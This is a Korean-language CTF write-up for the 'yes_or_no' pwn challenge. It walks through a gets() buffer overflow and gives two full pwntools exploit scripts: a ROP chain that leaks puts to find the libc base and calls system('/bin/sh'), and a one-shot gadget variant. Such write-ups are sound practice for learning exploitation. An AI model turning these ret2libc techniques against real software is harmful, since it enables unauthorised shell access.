위 문제를 푸는 방식은 ROP와 One Shot 2가지다. 각각 나눠서 설명하겠다.
ROP를 이용한 Exploit
코드에 두 번째 분기문에 gets() 함수가 있다. 저 함수를 통해 BOF를 공격해보자. 일단 저 분기문 속으로 들어가기 위해 입력하기 위한 값부터 보자.
main+237에서 입력값과 EAX를 비교한다. EAX 값을 확인하기 위해 브포를 걸고 실행시키면 위와 같다. 0x960000 = 9830400이므로 이를 값에 넣으면 첫째 분기문을 통과해 gets함수로 접근하게 된다.
gets함수는 ebp - 0x12이므로 bof를 위해 dummy(0x12) + SFP(0x8)로 RET에 접근하면 된다.
Partial RELRO 보호기법이 걸려 있으므로 base 주소를 찾아야 한다.
puts_offset과 puts함수를 이용해 base 주소를 구하고 실제 system과 /bin/sh 주소를 구해서 ROP를 진행하겠다.
Exploit Scenario
1. 9830400 값을 넣고 gets 함수로 접근
2. ROP로 main의 puts 함수 호출
3. puts함수의 주소 Leak → puts함수 주소 - puts_offset를 통해 base 주소 구함
4. system_offset과 binsh_offset 주소에 base를 더해 실제 주소 구함
5. ROP를 통해 system('/bin/sh') 실행
Exploit Code
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3009)
e = ELF('./yes_or_no')
libc = ELF('./libc-2.27.so')
system_offset = libc.symbols['system']
binsh_offset = libc.search('/bin/sh').next()
pop_rdi = p64(0x400883)
puts_plt = p64(e.plt['puts'])
puts_got = p64(e.got['puts'])
main = p64(e.symbols['main'])
ret = p64(0x40056e)
payload = "A"*26
payload += pop_rdi
payload += puts_got
payload += puts_plt
payload += main
p.recvuntil("Show me your number~!\n")
p.sendline(str(9830400))
p.recvuntil("That's cool. Follow me\n")
p.sendline(payload)
puts_addr = p.recv(6)
puts_addr += "\x00\x00"
puts_addr = u64(puts_addr)
log.info("Leak : " + hex(puts_addr))
base = puts_addr - libc.symbols['puts']
system = base + system_offset
binsh = base + binsh_offset
p.recvuntil("Show me your number~!\n")
p.sendline("9830400")
p.recvuntil("That's cool. Follow me\n")
pay1 = "A"*26
pay1 += pop_rdi
pay1 += p64(binsh)
pay1 += ret
pay1 += p64(system)
p.sendline(pay1)
p.interactive()
Oneshot을 이용한 Exploit
Partial RELRO 가 걸려 있으므로 위와 같이 base 주소를 구해야 한다. 위 방식과 같이 ROP 공격을 통해 puts를 이용한 base 주소를 구한 후, one shot gadget의 실 주소를 구하고 공격을 진행한다.
Exploit Scenario
1. ROP 공격으로 puts 함수를 통한 base 주소 구하기
2. oneshot gadget의 실제 주소 구하기
3. Ret를 oneshot gadget으로 덮기
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3009)
#p = process('./yes_or_no')
e = ELF('./yes_or_no')
libc = ELF('./libc-2.27.so')
puts_plt = e.plt['puts']
puts_got = e.got['puts']
pop_rdi = 0x400883
oneshot = 0x10a38c
pay = 'A' * 26
pay += p64(pop_rdi)
pay += p64(puts_got)
pay += p64(puts_plt)
pay += p64(e.symbols['main'])
p.recvuntil('Show me your number~!\n')
p.sendline('9830400')
p.recvuntil('That\'s cool. Follow me\n')
p.sendline(pay)
puts_addr = u64(p.recvuntil('\x7f').ljust(8, '\x00'))
base = puts_addr - libc.symbols['puts']
log.info("puts_addr: " + hex(puts_addr))
oneshot_real = base + oneshot
log.info("oneshot_real: " + hex(oneshot_real))
pay1 = 'A' * 26
pay1 += p64(oneshot_real)
p.recvuntil('Show me your number~!\n')
p.sendline('9830400')
p.recvuntil('That\'s cool. Follow me\n')
p.sendline(pay1)
p.interactive()
oneshot gadget이 3개가 나왔고, 가장 아래 것을 쓰니 익스플로잇에 성공했다.